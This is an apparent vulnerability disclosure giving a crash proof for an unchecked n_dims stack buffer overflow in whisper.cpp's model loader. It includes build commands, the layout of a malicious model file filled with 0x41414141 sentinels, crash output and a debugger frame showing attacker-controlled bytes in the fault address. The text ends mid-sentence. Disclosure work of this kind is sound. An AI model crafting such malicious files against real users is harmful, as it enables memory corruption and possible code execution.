# Dynamic crash proof — whisper.cpp unchecked `n_dims` stack buffer overflow Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64). ## Target - repo: `ggml-org/whisper.cpp` @ `6fc7c33` - Sink: `src/whisper.cpp` `whisper_model_load()` tensor-read loop — `int32_t ne[4]` written with an unbounded, attacker-controlled `n_dims` count. ## Build (Release, CPU-only, `-fstack-protector-all`; NO sanitizer) ``` cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \ -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \ -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all" cmake --build build-rel --target whisper-cli ``` ## Malicious input — `poc_whisper_ndims.bin` (80 KB) Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop), then ONE tensor record with `n_dims = 20000` followed by 20000 sentinel words `0x41414141` ("AAAA"). ## Run + crash ``` whisper_model_load: type = 1 (tiny) whisper_model_load: adding 51865 extra tokens whisper_model_load: CPU total size = 77.11 MB <- model fully built; entering tensor-read loop exit=139 (128 + SIGSEGV(11)) ``` ## lldb stop frame — attacker bytes in the fault address ``` * thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149) frame #0: libc++.1.dylib`std::basic_istream::read(char*, long) + 36 -> str xzr, [x0, #0x8] ; x0 = 0x141414149 ``` The faulting address `0x141414149` is the attacker sentinel `0x41414141` ("AAAA"): the unbounded `for (i=0;i